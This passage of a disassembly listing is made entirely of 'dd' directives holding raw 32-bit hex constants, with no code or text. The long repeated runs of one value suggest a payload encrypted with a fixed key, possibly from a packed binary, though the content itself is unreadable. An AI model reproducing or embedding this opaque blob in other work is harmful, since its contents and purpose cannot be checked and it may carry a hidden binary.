		dd 0D089C529h, 899F91A6h, 80BE25AFh, 31FD3565h,	8D4BD28h
		dd 79158C05h, 0F34BA574h, 0C37627BDh, 38376E54h, 93DD1BF3h
		dd 8E82CEA8h, 4D42B74Fh, 56370C66h, 8DB7ECEh, 17215323h
		dd 71E4E188h, 995BE45Bh, 13F728EDh, 0B80CF8F8h,	2FFFA4D1h
		dd 0D7CD3DAEh, 0D763BEF9h, 0F15C60A8h, 0BD29F936h, 0B04134D0h
		dd 33F617AEh, 0BFF2F068h, 0AD066C55h, 0AE2AEEAEh, 5FA58FEFh
		dd 849D793Bh, 0E244DDFAh, 1E2CB95Bh, 5507EAC0h,	4C999F2Dh
		dd 17018F09h, 0D5F665FDh, 133FEBCCh, 59E1BF51h,	7444D23Dh
		dd 0CA85A080h, 0C8638C82h, 0F1EED40Bh, 2BDE2145h, 723DA701h
		dd 394C1E57h, 0C2A8DB17h, 0CF3654E4h, 31D9F5D6h, 35418ED0h
		dd 63CEB305h, 651D58A6h, 5FB182F8h, 958A5014h, 7AFCDECEh
		dd 9B6E6D7Bh, 3D806FC9h, 654DE29Eh, 93E4C9C8h, 20C3EB3Ah
		dd 4D8346C2h, 8C1234D3h, 0D017B785h, 0B9B10B1h,	3365AD08h
		dd 21D52A4Eh, 878AF054h, 4B11ABB7h, 0F1B96B44h,	8D13DFE6h
		dd 2B38FDEEh, 5A8E6837h, 1CAC054Fh, 0FD01957Bh,	280B9BA0h
		dd 0DEF4A3FAh, 0E129BEF4h, 0FE31F931h, 13F21C45h, 7E3D9E87h
		dd 72F75206h, 88E191C7h, 97820FF3h, 0D11805CAh,	749E2674h
		dd 7F69E8BFh, 89B287FAh, 2806B85Ah, 0FC824620h,	5B98F494h
		dd 0B1E7F7E1h, 418E0422h, 78FB0460h, 35C49DA1h,	0EF067C3h
		dd 1F9A3673h, 133D78BCh, 93E4C64Fh, 357B46D3h, 0A5365F8Eh
		dd 0A8B8F45Bh, 2B1B5568h, 4C3E8145h, 0AAD4477h,	0F8AE664Eh
		dd 5FAE9975h, 7F77358Eh, 0ADBEEFFAh, 0B03944B8h, 0CC92B7C1h
		dd 958AA751h, 4C7E58F9h, 7655B6AAh, 939794F9h, 3B577837h
		dd 0E94CEB6Dh, 84FA8823h, 0F56468EAh, 8D30406h,	0F5F32C1Eh
		dd 0C8507173h, 3387FAE3h, 9F2A08CAh, 0D6FDADBAh, 0C5DC39Ch
		dd 7364A433h, 0FD0E19FCh, 0FBF385Dh, 0C7C94EECh, 0E45EEAA1h
		dd 0CA0F9920h, 875D1922h, 1B90E0B9h, 2112F6D5h,	89047F5Ah
		dd 638E1E5Dh, 5125424Ch, 0F9E2BB32h, 7248DA48h,	74CA3727h
		dd 6D581ADBh, 59528ED6h, 0FC92E098h, 0F5685D6Ch, 2E942624h
		dd 0D00EE8A4h, 0E0DFC451h, 0BF1A1383h, 17FDADC2h, 0FC42823Ah
		dd 17E842D8h, 0F31D3735h, 7A13E2EDh, 17CA180Eh,	0E8E1681Dh
		dd 273D8B14h, 88958BDDh, 9E372014h, 8FEAB1FDh, 7344461Ah
		dd 0B61957BDh, 5BBABB94h, 0E4E343BFh, 8806A67Fh, 0D45335Ah
		dd 13EAACFCh, 1EF7A151h, 18D7256Ch, 0E10A19F9h,	0C9333E26h
		dd 0A4E930BEh, 1854F41Ch, 0A16A2945h, 924186EEh, 0BBC2B605h
		dd 7F6C4C09h, 0E59FA87Ah, 9726DAC7h, 463276E4h,	0FE602E7Fh
		dd 27841750h, 0B28C9752h, 97DB0825h, 7137CC75h,	0F934CC54h
		dd 0D8D0710Fh, 713A8D7Fh, 0F23B12CBh, 1136004Eh, 13F8DA82h
		dd 56E9BF51h, 3A6BDEFCh, 23B1C41h, 87186FA6h, 0FAEA3C29h
		dd 29C2780Ch, 0E244DA53h, 0A289D36Fh, 0EED212BEh, 0EEA4B424h
		dd 0A916C064h, 21E99712h, 26BA0467h, 9EDB42EFh,	0F141E8E5h
		dd 8FB5648Dh, 866C3797h, 81247554h, 5F5ADE56h, 3A2C23DCh
		dd 2AC94152h, 8258ECCAh, 0DD12EF64h, 5CC9E008h,	0C3B4FC41h
		dd 1FDAC3DDh, 0A4806853h, 0B1E6B6F6h, 3552AE61h, 892077E8h
		dd 5D192679h, 8C9E6700h, 42C77BF0h, 7A565E32h, 0A8193F21h
		dd 0A56B628Ah, 13F88C64h, 0CA9C3989h, 45610997h, 0AC9D43E8h
		dd 0FBABF99Dh, 23C2C723h, 5D967C2h, 72E0E8B8h, 4B598130h
		dd 2549E332h, 0C16C397Ah, 0B8521FA7h, 10C063E7h, 58C9C77h
		dd 21533E30h, 8FBA1CEh,	133DA72Eh, 923C0F37h, 0A0B8EE6Dh
		dd 3C7EAB5Dh, 1C8C78Ah,	3B0E531Bh, 94235C1Ch, 2C1CE632h
		dd 8BB26133h, 0AE5D6024h, 397ADC93h, 0AAEA2B0Ah, 133FCF5Ch
		dd 76726A51h, 55DC0179h, 9D256F59h, 123D7B8Dh, 12DC70F6h
		dd 5D50A2AFh, 0AA3DA752h, 133FEB1Eh, 0A61D3E51h, 40952865h
		dd 967489Dh, 6251FA87h,	679CA806h, 688EB477h, 0E3D0CB63h
		dd 1C9B8150h, 9A51E01Ch, 8175BF72h, 0F9E3CEEFh,	80D7D393h
		dd 340D4503h, 13CDAD77h, 6F2BA751h, 3867B148h, 0DB3E28F6h
		dd 340D4263h, 0AAC447D4h, 133FCC07h, 54975051h,	603DA752h
		dd 24D16D0Fh, 15ED6DF7h, 154AB01Ah, 5410A751h, 603DA752h
		dd 32D170FFh, 5B7312FFh
		dd 0B4D8D28h, 3F1D7183h, 38A63578h, 58DD865Eh, 8201D892h
		dd 54DBCBEFh, 5E45C178h, 34E6FF97h, 82939260h, 24FAAA2Eh
		dd 7345E9DFh, 22337F49h, 0FD0E5843h, 6123185Bh,	0E8C86B1Bh
		dd 0C5AEE418h, 7BD0B18Ah, 13EA5FD3h, 4764786Ah,	0D2C84B33h
		dd 0C61DA104h, 83DCFEDAh, 0AA88CD6h, 6362AAC2h,	0A3134263h
		dd 2AC6D346h, 0CCA64201h, 133FB7E0h, 222DC7F1h,	0A8C9B96Ch
		dd 0E33D8991h, 0ED5D97E6h, 0C9051CEh, 0D5B42223h, 6877CCAEh
		dd 866C0D21h, 1792DE98h, 13A53206h, 0FC0EA751h,	133D9E7Ah
		dd 4A0BFA22h, 0F814A658h, 0F43DA72Eh, 779862h, 0FB408E4h
		dd 55BA1719h, 0AC0FA8F5h, 90BFB69Eh, 2452B37Ah,	52811ABEh
		dd 66FCA752h, 0F73DA750h, 115663EDh, 0AA3BA407h, 13F31C35h
		dd 0D413A751h, 2A6D5047h, 683DA701h, 133D9BA7h,	15578851h
		dd 745CA751h, 73361037h, 133D116Fh, 3963A951h, 0B7AE10F1h
		dd 0D90EA6C1h, 54B0A41Ah, 0A4E28861h, 1C58214Dh, 43064089h
		dd 0FB17253Fh, 7138C1F9h, 557B4EC5h, 8E0DE0DEh,	761ABCDAh
		dd 41h dup(761ABCDEh), 354879DEh, 8CF77447h, 1AFC89AAh
		dd 3C381557h, 3D2AB06Dh, 6BEBE3Ah, 40707830h, 803789A4h
		dd 35203A61h, 961FC145h, 38CFED42h, 34CEC3F3h, 48AECA46h
		dd 58E8AFB4h, 0E571EA72h, 0CBC7D945h, 0BA7DB0B4h, 64F9E1Ah
		dd 8FBF543Fh, 101CC127h, 761ABC43h, 0Ah	dup(761ABCDEh)
		dd 7D79BCDEh, 0AE1ABC14h, 4585A157h, 68BA5C26h,	2FB2EE2Bh
		dd 9B79CF0Fh, 0E42F1CA7h, 458557C9h, 0A34D9826h, 934CEE2Bh
		dd 3779CF06h, 0E42F1C9Ch, 4585551Ah, 91DC8426h,	8B11EE2Bh
		dd 0A379CF06h, 0E42F1DECh, 4585A23Bh, 51E7C026h, 10DEEEB5h
		dd 5F79D0A5h, 0E42F1F79h, 45907B22h, 91C42C26h,	77E5EE2Bh
		dd 2B79D009h, 0E42F1C78h, 45907A6Bh, 4EF22826h,	3F1BEEB5h
		dd 8779D0A3h, 0E42F1DECh, 4585A309h, 4E5D9426h,	9CE5EEB5h
		dd 0F379D0A9h, 0E42F1DECh, 3F498690h, 91D15026h, 596AEE2Bh
		dd 0EF79D0AAh, 0E42F1DBBh, 45FF391Bh, 4E40FC26h, 5CF6EEB5h
		dd 0BB79D009h, 0E4324122h, 4516C857h, 4EF1B826h, 0E6D186B5h
		dd 4E60366Ah, 963338AAh, 0F22CCD4Dh, 0E5D5E025h, 0C090EEF2h
		dd 5EBFF874h, 0DDE48CB5h, 8E262174h, 13D71E16h,	3115730Bh
		dd 0B17B6E0Ah, 417F6E13h, 3D4C9A74h, 1F9A1366h,	9D09C944h
		dd 9588EA7Fh, 19B5DDF8h, 0B486F910h, 0B42EABE0h, 0EE43B840h
		dd 0C8500AC9h, 0A4BDB730h, 4067B402h, 74DBE142h, 90E484Ah
		dd 0B331AFFAh, 0B55DB0E3h, 7CF72DEDh, 49FE2E0Ah, 0F5E44736h
		dd 83F06ED8h, 2A7EBC02h, 0C1101209h, 2E122159h,	75846B3h
		dd 750F74B0h, 7C8F4331h, 6B79A160h, 0D01ABCDAh,	0AA3734D0h
		dd 0BED5F161h, 0A4FC54F9h, 0BCAA15CEh, 0BA0F1BEFh, 0F95C4CACh
		dd 0BDD6DBBFh, 15BCBD8Ch, 729F8D5Ah, 85312CBh, 2AA2A325h
		dd 671CBCDDh, 1803923Ch, 0D264C3B9h, 179B5EF0h,	979F0661h
		dd 1E7396ACh, 0AC425015h, 146638E6h, 0E87C88C6h, 896491D4h
		dd 27D86182h, 1EFAE6E1h, 0F39FEECFh, 0ED4F3454h, 118D66EFh
		dd 6FA1F1Bh, 46FE618Dh,	6A2FDBECh, 0F80AECD4h, 732B0D10h
		dd 7233043Fh, 71B453B7h, 6A2FCF84h, 0B800192Fh,	5D3EA9FEh
		dd 253848CBh, 32D0A6F4h, 0BA956C2Ah, 0AD14E93Ch, 0F2F079Ah
		dd 725072AFh, 1898AB84h, 7ED85709h, 69980E75h, 0D432D115h
		dd 3D26C37Dh, 0FE50BA97h, 0C734DFF9h, 0AE4619EAh, 0BCDD16FCh
		dd 221270ACh, 42260238h, 0F2FD9D9Dh, 0F45E289Dh, 3970A480h
		dd 8A694573h, 58AD4846h, 0D995A00Ch, 0B8E98F1Ch, 5F1A8389h
		dd 0FF12B744h, 2B0FDE98h, 0B87888A3h, 77F177DBh, 39330205h
		dd 0A99B418Ch, 0C2E508B3h, 8332958Ch, 0A33F201Dh, 3662FFBEh
		dd 633BBFCBh, 54E7F3BFh, 93E9DF92h, 9A5C4BE2h, 694FD364h
		dd 0DD08F4CCh, 2664B7Eh, 6A2FF881h, 4842ECD4h, 3019BCD6h
		dd 68595E64h, 0C6AC9D10h, 3B483B3Fh, 0D693F8D1h, 0BA9825BFh
		dd 5B626D3Ch, 533C8CB6h, 360C0971h, 9FA4018Dh, 0A8F35E9Fh
		dd 58FAF9C5h, 4C1D6EE3h, 4A034958h, 8A403917h, 0FC67301Eh
		dd 38016E1Ch, 0FA6AE703h, 0C44BBBC2h, 0CD2BE374h, 15EBA173h
		dd 0CD52F7C1h, 0E519D477h, 32926DBCh, 0E75D7313h, 0F6AD569Bh
		dd 7376B8CAh, 9899A632h, 8D2FBCDAh, 3C81B7B2h, 5E5B8614h
		dd 5F268319h, 2B32E157h, 0BD449F75h, 346B90BBh,	0FD921A6Eh
		dd 0DC3340C8h, 1966B865h, 4E68C932h, 0D10C34EDh, 0C6883863h
		dd 0D67ADA70h, 0EBED8D0Bh, 1B08B3C3h, 0C63CCCE6h, 0AC14F12Ch
		dd 0C1437A0Dh, 0EEAE7378h, 0F205EF6Bh, 1EA6AA51h, 3653759h
		dd 63EB011h, 12EDA525h,	1E4ABCDDh, 0B8A5C73h, 39AA11EAh
		dd 0F47CEC34h, 0B79E0D2Bh, 8563432Bh, 0F231C10Ah, 926FEB39h
		dd 0A43FC6CDh, 8EEFE49Fh, 62776A7Dh, 115497D3h,	43A48025h
		dd 93744D53h, 8AD59B17h, 721CB9C6h, 0B33F23CEh,	1AA33F32h
		dd 0D6C69488h, 0E96EE569h, 57AB728h, 598A5A6Eh,	0B35BCE7Fh
		dd 9F9BD8DEh, 31769E78h, 0B5F39ADDh, 941F1E3h, 733985D1h
		dd 0DFD6225Dh, 0D0C39BE9h, 97FAED5Bh, 13597281h, 708882EDh
		dd 649CAFB7h, 0A633BA29h, 32361721h, 0FD49E248h, 312F25Bh
		dd 0C405132h, 836E2594h, 5D7D88D2h, 0F0E8E63Fh,	981156F6h
		dd 245C89C2h, 0C40A9ADh, 0E5A673h, 5EC1E8C6h, 6AF17FD6h
		dd 93C40A87h, 0A9C85752h, 55439BE1h, 0A7C8D6FDh, 1C54550Eh
		dd 0C63CCCE6h, 8E2A4654h, 2551689Eh, 994D576Bh,	43A1A2E3h
		dd 0EA7C7D9Ah, 5E22D50Eh, 281BF970h, 0AEB7635Dh, 0E7B60853h
		dd 95449304h, 8E0309A0h, 346A0487h, 1E616C2Ah, 231D591Bh
		dd 45EB04A2h, 2F385BC4h, 0A5BA237h, 46917B62h, 7D2FDBECh
		dd 7C8F684Fh, 5BC9D36Bh, 0BD22B77Ah, 7519F41Bh,	2205F0h
		dd 0F3DCC9E8h, 3011ADA3h, 0EBC0A4B2h, 0B7F931BBh, 0F455574Eh
		dd 5D7D9E0Ch, 856B8D83h, 787CCA7h, 0A6873906h, 89B53E90h
		dd 0AC40B18Ch, 0F0AA306Fh, 0B35E9776h, 0C84CB021h, 815CB99h
		dd 6D6F5021h, 18F913F2h, 47C3210Eh, 805D793Ah, 8F6A5F53h
		dd 36FEB805h, 3F4B1DCEh, 5A9C3446h, 0E2C52D1h, 524569A5h
		dd 5AF05CDEh, 19B01C87h, 4BC0F796h, 730FB2Eh, 70DB8764h
		dd 509288F1h, 0E87C56FFh, 0E4E9B2B8h, 0E01838FCh, 2A6B46BAh
		dd 0C93AB1A1h, 0A66B6E09h, 0B636A43Ah, 0C2EEECDBh, 0A77298B5h
		dd 1D9AC216h, 0C1280B3h, 0A769C4BCh, 0CFE8F6E0h, 4D1C692Ah
		dd 555D78ECh, 759F8F8Ch, 3332B4D3h, 790E9F69h, 6A867BF2h
		dd 237F1D8h, 3A5E67BBh,	6937999Eh, 45AA8A22h, 83015DE1h
		dd 0F280C2ECh, 0AFE599FDh, 82BBA287h, 0F4DF400Fh, 0C1D639C8h
		dd 12D6E24Ah, 0D18DDBE9h, 57A3DCDDh, 0A19745C1h, 4E4965B9h
		dd 0C0A21A69h, 0ACC546A0h, 832DB36Ch, 0EC269423h, 9DC2D7EBh
		dd 432D1F6h, 308B330Ah,	5BA1AC14h, 60A4451Eh, 3D0FAAD2h
		dd 909F4706h, 0FD30CEDAh, 0C644596Ah, 4C5D8A5Ch, 873E8159h
		dd 1BB97F6h, 8A74397Ah,	0E2EA3AD6h, 0F47CEC52h,	52C3A729h
		dd 716847EEh, 841CA2ECh, 546343B6h, 3B7481C5h, 0F4CC3E5h
		dd 55C84286h, 5607BCDEh, 5113AC7Dh, 9115BE50h, 535B7BF7h
		dd 2D8C0E7Fh, 22DBF4C7h, 92C9EC6Ah, 9317AB84h, 0F576D8E0h
		dd 6FFC8309h, 0F5410543h, 0BA34A01Bh, 3656DCC2h, 857F97FAh
		dd 853C2CBDh, 0DDA84275h, 19B10E86h, 0BCD9BB71h, 1A7E66B3h
		dd 7FBBC7D9h, 0AC79796h, 0DEB3BCDDh, 24F45B86h
		dd 963E3C8h, 44A19CEEh,	59B814A7h, 88AFB1A7h, 8D36A213h
		dd 0DC446AD5h, 540A2F5Fh, 0BBD22E45h, 2F2B9D33h, 1E34A288h
		dd 0FA0FD174h, 0BEA305ABh, 0D8DFCCD5h, 0D3F5AE58h, 447F33CFh
		dd 0E397F907h, 56663BB0h, 972C9D87h, 0DF5339E0h, 84CAE898h
		dd 0A37DD952h, 11ED72BBh, 9631A9C7h, 1E708EFh, 6116117Ah
		dd 3CA1BCDEh, 0F47CF138h, 0D5B7D524h, 6B0B2348h, 9FBE8E99h
		dd 5D7D8BEBh, 0EC34EA08h, 88FAC5CEh, 5D603D48h,	0AAB0BAEEh
		dd 743BBCFCh, 0C91FCFC6h, 346C0FE4h, 69697B68h,	4B231258h
		dd 85479E3Eh, 0A00F9E72h, 0CE956E08h, 0DE6EFC35h, 453F25BDh
		dd 0B1A7FEDBh, 0CA1A6D1Dh, 0F88E126Dh, 0BD12D134h, 0D5BEE4FBh
		dd 3FAA8D7Eh, 7015C61h,	0D0989555h, 2BB1C252h, 0D49C7B91h
		dd 84B9F503h, 61F360EEh, 0AB9A1529h, 0C5FC7181h, 0ECE58065h
		dd 9FFDEA88h, 0F2BC4B3Fh, 48BBAC65h, 0F2D32A76h, 406FCC85h
		dd 0F4CEAEC6h, 790DFF74h, 7082F03Fh, 0DDEE496Fh, 98EF9739h
		dd 0E9EF967Dh, 0D4BD1263h, 9C1ABF90h, 0AA37375Dh, 25BCD6BEh
		dd 8ED64F6Bh, 0E312443Dh, 48BD47B6h, 559CA7F7h,	0C5374B5Dh
		dd 6B98E337h, 237D6E82h, 0D9180382h, 0C185D182h, 8F55EA76h
		dd 0B3F02DA3h, 0BE3281EDh, 0EA0FECD8h, 2DD4ACE4h, 65113B98h
		dd 0B66E4E8Ch, 5C2CA229h, 0BA950443h, 29B950E4h, 0A0663BADh
		dd 87330A5h, 72663BADh,	7082F099h, 102EDC6Fh, 0D4DBCE55h
		dd 81D3BCD2h, 0D4F89465h, 8EEFE472h, 6374FD96h,	65B23E07h
		dd 2CB7E45Fh, 327472F0h, 0BC42AD9Ch, 55743484h,	5D73ED86h
		dd 3779018Ah, 981B3D13h, 92335E9Ch, 0F26B8846h,	0A3580801h
		dd 0DA9C5D2Fh, 8AAAB7F6h, 89E2B987h, 0E64C88FDh, 271FE10Fh
		dd 8023E3BCh, 1ACA048Fh, 0A336A741h, 2D989779h,	26449AFFh
		dd 0D66B394Eh, 6ECAD115h, 6AA0AED0h, 1A80F302h,	6EF24B3Bh
		dd 54F7B684h, 0CE4BD1D9h, 0D1F03EFAh, 104409B5h, 0E5150B8Fh
		dd 292CC6D9h, 72EADFA0h, 1AE830DFh, 47AF4C0Fh, 88943919h
		dd 0CD5A632Ch, 90ED4289h, 0D650984Ah, 0E0D77474h, 0A17CB838h
		dd 0F947A526h, 0AA5F1D6Ch, 260FD1DBh, 0E4E40ADEh, 35707AD9h
		dd 98CAD3EAh, 0B3C5D064h, 88943910h, 0E3BA0E32h, 8A631089h
		dd 96699ABAh, 0E29155CEh, 578299ABh, 2E2395EBh,	5FC36F9Ah
		dd 5FFC12BCh, 6F7EEF39h, 4C74347Ch, 0DBF516D9h,	2F0E18DBh
		dd 8A32ADF8h, 9BD5E714h, 2EDB1234h, 0BF2B75CAh,	0E7F806CAh
		dd 5CEF9C25h, 0C6001A3Fh, 95FA1CF3h, 0CFBDC02Eh, 0CD59C5AEh
		dd 77987DFCh, 8BBA6A33h, 76BDFDA9h, 0BEC4ECCEh,	0EEEC9E7Ch
		dd 78BED183h, 564C6FDCh, 0CA5C722Dh, 0BE9A6B5Ah, 87837581h
		dd 2E1C161Dh, 73F5E0AFh, 8BA1EE6h, 1B01853h, 5E9F1309h
		dd 2782E928h, 70DF77F4h, 0B79C0E6h, 12930ED9h, 0EE2635A3h
		dd 0F9384348h, 0FE190B83h, 0C1FDD2E6h, 59A0AED2h, 0C14E8E7Ch
		dd 0C5E830DFh, 64C79FFh, 4F3766A0h, 0F0649EB2h,	86410024h
		dd 87BA00BEh, 0E065E4A5h, 0AC85037Ah, 0E0C43DF2h, 0CF5EE04Ah
		dd 0E6F29858h, 0E04F2F8Dh, 69D77AAEh, 0C05BB4Bh, 0E4FDAB12h
		dd 0C3437D2Ah, 0A01D2E1Fh, 0CAF1307Fh, 0EC86C5DFh, 0BDB0C27Ah
		dd 3C1F0AF9h, 0BF90B175h, 492736EAh, 64E4F817h,	0B49183ADh
		dd 3E2C13D9h, 0D1F9A63h, 0F98190B7h, 0E4B1D196h, 9F950F89h
		dd 0C7B304FBh, 435A725Dh, 37C9D5CAh, 0FF378849h, 0CD5DA670h
		dd 6B9DAAA1h, 1DC5C597h, 7FDAC1DCh, 0BEAECC96h,	0B47F6E58h
		dd 0EEA239A4h, 5F92438h, 25B6EC1Ah, 0A2FF17EBh,	9BABBB43h
		dd 0D7FDD308h, 0CBEE0EDFh, 1B24F3BEh, 0DABF7AD7h, 8CDB2850h
		dd 1CA0EFAAh, 8E823D51h, 0BB823ACEh, 0FF66CD43h, 4774E727h
		dd 0C0F29F7Ah, 39A2EB71h, 13D0915Eh, 8ACD21A8h,	81BE2DFh
		dd 0DE88860Fh, 8A861161h, 0DF959677h, 0A110C4A6h, 91D92E24h
		dd 0FACDD583h, 31DE2B1Ah, 8190E02Eh, 7F9B9983h,	81874040h
		dd 0C0BA34AAh, 561E355Ah, 0E175C2B6h, 0AF56AF89h, 1D48F248h
		dd 4B3455B7h, 0E5C77554h, 24DE40D9h, 0F5EEB920h, 0AA92195Fh
		dd 436F183Bh, 0F0632922h, 0A2E5BFC4h, 6444CBC8h, 3F3D505Fh
		dd 683AC64Fh, 5EDC9A6Ah, 8968BD87h, 0C1E68121h,	0F6EFA4FEh
		dd 0FE860B84h, 99B76BDCh, 6DB27F4Dh, 0B6987D00h, 2C7F3775h
		dd 25680F2Ch, 6DB2D556h, 9C457BE7h, 0F29E6EFAh,	0D417C44Eh
		dd 22100B2Ah, 0E16B88F5h, 0AF3AAF89h, 2548F248h, 4DA51679h
		dd 0EB8894C5h, 82402CC8h, 0E5E0E2B1h, 0DD89A8D9h, 1FADA5DDh
		dd 0A032533Ah, 9656FCCCh, 4C175098h, 5A4F49B7h,	0E21C58F3h
		dd 10FA3BECh, 3356194Dh, 21191F89h, 0B462604Dh,	5061856Eh
		dd 0F61DE7D8h, 0E8A314B3h, 0AA1C7A18h, 4E5067E7h, 64B09636h
		dd 0CDE6ED70h, 9B8DE260h, 4CC4D74Ah, 4A598C49h,	6CBADAF3h
		dd 0E1EA1934h, 4CA0AEB4h, 3AA0C0EBh, 25586DAAh,	2E356CE3h
		dd 0B620E7FAh, 5596191Fh, 0AE4CBCABh, 0BC90D0h,	0CB482634h
		dd 60295AD9h, 111D6D6Eh, 0E130DC79h, 99B78F1Dh,	6DB27F4Dh
		dd 89B9A9D7h, 0ABB7D1D9h, 0DD24CF17h, 0E137F4C0h, 1FD6E611h
		dd 7C44EE39h, 8F442EC2h, 75D8F6D7h, 45D614A2h, 0ACF3682Ch
		dd 8C1144Ch, 0A0CF0A5Eh, 223E2CF7h, 50D2883Bh, 28143F50h
		dd 9838B2DBh, 0E86B9EDBh, 5CFA98ECh, 7B749F24h,	0FCC83E43h
		dd 2151CD2Bh, 837E3421h, 3D3D98FFh, 92D6E8A6h, 0E92508B4h
		dd 0AAAF09C0h, 9CC8638Bh, 528F6FF4h, 5A13AD92h,	0B8C7A3BAh
		dd 55540DFCh, 0EF6B754h, 0BAE9CC62h, 0CD38C2FBh, 0E19FD371h
		dd 2CCE231Ch, 0A365E8EBh, 0E1F72FCEh, 32EA26E6h, 3BC52A88h
		dd 917251C5h, 5528E7E6h, 93F220B6h, 324F2011h, 0FEBF2A88h
		dd 0D3FA8F4Bh, 3A30FCF6h, 0E679E2C4h, 0E50A0EACh, 3D32D01Ch
		dd 1FC3892Eh, 0B4CD787Ah, 0C77E0F31h, 0DC89D69Ch, 2095C321h
		dd 7B94BBC5h, 6A88EE9h,	0ED7A88E9h, 0E880DED7h,	0F921FFD7h
		dd 0DDD10A2Dh, 25B7E7C1h, 8F646274h, 0E9C93BF4h, 0D0D56A67h
		dd 4C30231Ah, 0ADFAB8EBh, 0E95C8367h, 0C933E26Fh, 0BF4CF66h
		dd 0BD69BD79h, 0BC737FEh, 0F12D45BBh, 0FE03CB68h, 3B4F04C1h
		dd 46FEB312h, 5EC21909h, 0C5B4D4DBh, 0A339B6AAh, 0EAE9D4BCh
		dd 0FF995C9Ah, 7AFA7A32h, 0F52F7C60h, 0CCEE4B02h, 5CCA41E0h
		dd 0CCD8BA01h, 2295DA6Dh, 0C1960FA0h, 2F842754h, 0FD04DBA5h
		dd 2833F348h, 0BCE35DCEh, 0B8A382D2h, 34EE9D0Ch, 0D35A8C6Bh
		dd 84F430B0h, 2AE0A9A8h, 1E761502h, 1FD1FDEFh, 3B0A57B7h
		dd 32C1FDEFh, 0CC103645h, 93E9228Dh, 0D34F68A8h, 0DAB356B0h
		dd 0B2E29023h, 0BC01EA4Bh, 69959CAFh, 51F83D1Dh, 9A886B7Ch
		dd 828BB10Fh, 47B3762Fh, 77185F59h, 655F7124h, 0B0D8E4E7h
		dd 0B66072Ch, 1AC364D7h, 670E6178h, 0A7FE30D8h,	2E23ECFFh
		dd 0D9A46E53h, 190CC347h, 0BD60DC4Ch, 0BA8A0AE0h, 2D1B51DDh
		dd 5DA6873Ah, 0DE07E4EAh, 36B5F1DEh, 655F0668h,	0D0E52095h
		dd 61988097h, 59882C0Bh, 0F65335B4h, 2536F371h,	0C64E709Bh
		dd 10A05D33h, 28F305C8h, 88A68980h, 75AF12F2h, 1ECF0227h
		dd 4CBBAB43h, 63C43208h, 0D8483EE9h, 80AC785Eh,	0B0DB56B0h
		dd 7885DEBAh, 0B3ABFDEFh, 2EDB0D82h, 0FD8EFDEFh, 0B5751DCAh
		dd 90B312Fh, 9CCF8096h,	0C0047B48h, 33F60B47h, 0C0A2D881h
		dd 5EE751A3h, 7AF72Bh, 0C271EC6Dh, 0E72BA22Dh, 5549C43Ah
		dd 0EB3C2B70h, 0F1C904A1h, 3DCB8F5Eh, 55E56381h, 0A7DBDA72h
		dd 266A92Ah, 5AAD2F17h
		dd 7695C11Bh, 0B5D2E25Fh, 70A26DFh, 1F7639A7h, 0B47B81ADh
		dd 71FB2EE0h, 0DEEE7014h, 7C182B20h, 0BB873A18h, 0E6C00FEBh
		dd 0BD6E466Bh, 0C7032E79h, 0BE416923h, 67502EB0h, 120252ADh
		dd 79E4E91Eh, 62B4AD98h, 5A7EE85Dh, 3F88923h, 9E416380h
		dd 1572C22Dh, 4F4F9201h, 0DDAD8FADh, 0CACC8D85h, 2127D855h
		dd 88B23FBAh, 655F066Bh, 0B2FD5848h, 0FBFECB81h, 2DC39AF9h
		dd 3C667BAEh, 1A6162E7h, 0BD77898Dh, 0AD95FDE0h, 5B6C8746h
		dd 0C7208171h, 0DAE477C0h, 9E576894h, 7D72B8EEh, 74654B31h
		dd 21DC7CEFh, 0D4680BA5h, 0ED720519h, 9BDD434Bh, 7E3CAFDBh
		dd 7EE639DFh, 9A4E2C9Bh, 2B8060A2h, 9E98CADEh, 295D7AD7h
		dd 29AD8FB9h, 18BD9CE1h, 0AB7D91Ch, 0E0509D5Eh,	7821985Ah
		dd 5E57CEEEh, 0DC0052ADh, 44F5ACD7h, 8CBD62B5h,	0B8E5EE1Fh
		dd 0EE4821FFh, 764DE2E3h, 136D6C5Fh, 3B4EC339h,	47A85819h
		dd 655F7053h, 90AF63D3h, 6F393E68h, 440FF9A2h, 83C44B3Eh
		dd 0D78A8C41h, 0D11E74BBh, 43CF6A65h, 35961E60h, 8196B6C5h
		dd 0F0844268h, 0BBA9D589h, 0E624AF2Dh, 0D91D0573h, 180108D2h
		dd 1B1319F1h, 0E783F385h, 8432BF14h, 88C916FCh,	0C6DA40EEh
		dd 3DEF8Dh, 4CF12EB0h, 26F2859Dh, 0DA5120FFh, 2140C867h
		dd 0CE41F93Dh, 0F193C3BAh, 826AEFF2h, 9BF856B0h, 63CAF91Fh
		dd 0CC74A7B7h, 21C92FF6h, 2C89B154h, 0ABBF680Ch, 9ADABF84h
		dd 4DB6ECB8h, 0B5405627h, 9E30937Fh, 2D6319A5h,	0CF5D0474h
		dd 0D58C13BDh, 0CF223534h, 0CE07B5C2h, 0E6AFB8BFh, 0F6FB0A8Ah
		dd 2CBE88ACh, 5139FDEFh, 466B292Fh, 929D6B8Dh, 0F7623A74h
		dd 269C895h, 0BF2BD719h, 9FAA9CFDh, 0C46AA3CBh,	355A9D26h
		dd 0E56B6D2Bh, 527ABBB4h, 0A9B23F68h, 874FC5CCh, 733B6582h
		dd 430C2DFCh, 571BC516h, 5F14F87Ch, 48BE3476h, 0FBE50F5Bh
		dd 46D6F51Ch, 0C0060826h, 0A1C323CCh, 2C2BF1A5h, 0BDD251EBh
		dd 7BCF25ECh, 93ABAD93h, 9B5D0E9Eh, 0A3413DB4h,	0A683454Fh
		dd 33FCB4BCh, 0B8794412h, 71D63FD0h, 0ABD2C7B3h, 58635C77h
		dd 74972E0h, 0BF3D5A78h, 0AA8D9EB0h, 2FC320D4h,	6DF7E5A8h
		dd 2DF5E079h, 11EAC02Ch, 46AA784Bh, 3548E2AEh, 80E8381Eh
		dd 0D35D570Fh, 0F6FFF3CDh, 72A7AB47h, 0BF3C318Fh, 0C1356B0h
		dd 0F54F5270h, 5792F016h, 1743BF12h, 70392BA6h,	67D5E678h
		dd 2019135Bh, 65D26A92h, 2329BBE7h, 834E3DB3h, 87DBB92Dh
		dd 0E74FD82Ch, 0B660716h, 0D2B031F2h, 772256B0h, 0CABA222Ch
		dd 0F3BB61C7h, 3DE8EF22h, 6FD50A3Bh, 57968E78h,	0F2A471C3h
		dd 0BE6BEC9Dh, 0BB640468h, 0E4E61AC1h, 88F5AC4Ch, 0D34F1E60h
		dd 9ADACE57h, 1B542AB8h, 9A733D0Eh, 0A43E91FBh,	0A9728F07h
		dd 83C36827h, 540FAE0Bh, 0C24724E6h, 907FF756h,	95E6F91Dh
